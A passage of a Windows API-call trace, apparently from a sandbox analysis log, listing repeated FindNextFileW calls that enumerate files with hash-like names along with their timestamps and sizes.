ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0E0AA719737925C65439EF8199433AD2A3826055", cAlternateFileName="0E0AA7~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74078, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e74078, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", cAlternateFileName="0EDDF8~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898c851, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x898c851, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x898dba9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4812, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", cAlternateFileName="0FEBD8~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef43c89, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef43c89, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x450ca7ce, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="108573E2B07FF25FFCAFE37F58D375561A47424D", cAlternateFileName="108573~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", cAlternateFileName="1380A3~1")) returned 1 [0250.841] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2e8f28, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e2e8f28, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e30f171, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf7d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="140445A2980512A346F4FF5725C0D44440B68C0A", cAlternateFileName="140445~1")) returned 1 [0250.841] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="14BA7A2A080D9B70E5991F61EC521D7B59DB545E", cAlternateFileName="14BA7A~1")) returned 1 [0250.841] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x72924653, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", cAlternateFileName="14BF1B~1")) returned 1 [0250.841] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d869ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2d869ef, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2d869ef, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xadb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="150EB071D854D5071A223EEB0639B4597C92FB45", cAlternateFileName="150EB0~1")) returned 1 [0250.841] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455c940b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x455c940b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x455c940b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x409, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="152707BF9D0E3D40EE384F6696E826A52171E312", cAlternateFileName="152707~1")) returned 1 [0250.841] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e74078, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa98, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", cAlternateFileName="156A5C~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", cAlternateFileName="15FFFE~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a98146, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a98146, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4aa1d97, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1600A1E0F302711ACE755C1F40E790A8A4071644", cAlternateFileName="1600A1~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6745d71, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6745d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6781aab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", cAlternateFileName="164AA0~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1722A63DF48E38B5DC308AE741FBFA24F762D8AC", cAlternateFileName="1722A6~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc36514b8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x68, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="179F6D8969C48967D77229126C8892C5E40DBC29", cAlternateFileName="179F6D~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3243cbd, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3243cbd, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x325c36f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1948A617BE08C70F70E0A406F640FD839A720820", cAlternateFileName="1948A6~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387d231, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387d231, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x389cde0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xfe7, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="196BCA845E91608F7B4CA6127A60D20AF55413AC", cAlternateFileName="196BCA~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1A7C641FFE043BB811768257AF97546A0C7F3B55", cAlternateFileName="1A7C64~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", cAlternateFileName="1B5F66~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc45381d7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc45381d7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc455e324, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", cAlternateFileName="1B7A33~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f507bc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2f507bc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3999, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1BCAD7DC01C28C00520186316B38E1165ADC4D1E", cAlternateFileName="1BCAD7~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ed75c7, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61ed75c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x61ed75c7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x24707, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1C069501161F85F05DFE519ADECB1BAFD807156F", cAlternateFileName="1C0695~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb491e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3fb491e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3fb491e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", cAlternateFileName="1D4EE0~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621f871c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x621f871c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x621f871c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a3d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", cAlternateFileName="1D79D2~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e3eac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32e3eac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc330a0fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", cAlternateFileName="1D9E8D~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", cAlternateFileName="1E2EF8~1")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", cAlternateFileName="1E4C1D~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", cAlternateFileName="1EB2E4~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", cAlternateFileName="1F58B2~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", cAlternateFileName="1F9E7E~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f903f2d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x235d0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2002896BDFC9D08F61F19B61E28302E004E659C6", cAlternateFileName="200289~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x346a7252, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x346a7252, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x348249e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2084506A70CA3A1F0B77218D89A9FEF723A36E38", cAlternateFileName="208450~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="208483D2803117F885B3B730B35024666396680C", cAlternateFileName="208483~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbd536, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcafbd536, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x149e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2119417A1C9E8DA14601959E96C1123DBD536A0E", cAlternateFileName="211941~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4372d93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x21c4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="23235518CD38CB3D10B0AC591123694C9D398B7F", cAlternateFileName="232355~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", cAlternateFileName="23DA68~1")) returned 1 [0250.844] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c21097, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4630, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="23E137DFD51BC10A5A373603EA1ED32314D43850", cAlternateFileName="23E137~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2414045942C11CC3E304204DAE2B8DFA27711F3F", cAlternateFileName="241404~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4386e489, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4386e489, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4386e489, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", cAlternateFileName="24BE47~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430faed6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430faed6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x430faed6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="24C5A11C7C55D609ED86B6E31E2C94301D075CB3", cAlternateFileName="24C5A1~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8f4c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4c8f4c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e69094, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x12126, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="24F9514653FD834D9D33E21B4C0AECB308550A9A", cAlternateFileName="24F951~1")) returned 1 [0250.845] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69183c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x69183c7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x692337c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="254686BCA69ED43CB6F2FD35C26758AA2D993329", cAlternateFileName="254686~1")) returned 1 [0250.845] FindNextFileW 